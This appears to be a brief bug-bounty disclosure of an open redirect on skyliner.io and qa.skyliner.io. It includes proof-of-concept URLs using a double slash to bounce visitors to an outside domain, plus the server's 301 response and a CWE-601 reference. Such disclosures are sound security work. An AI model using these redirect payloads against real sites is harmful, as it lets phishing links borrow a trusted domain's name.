[skyliner.io / qa.skyliner.io] Open Redirect

How it was found

PoC

https://skyliner.io//blackfan.ru/
https://qa.skyliner.io//blackfan.ru/

HTTP Response

HTTP/1.1 301 Moved Permanently
Content-Length: 0
Connection: close
Date: Wed, 24 Aug 2016 17:30:39 GMT
Location: //blackfan.ru

https://cwe.mitre.org/data/definitions/601.html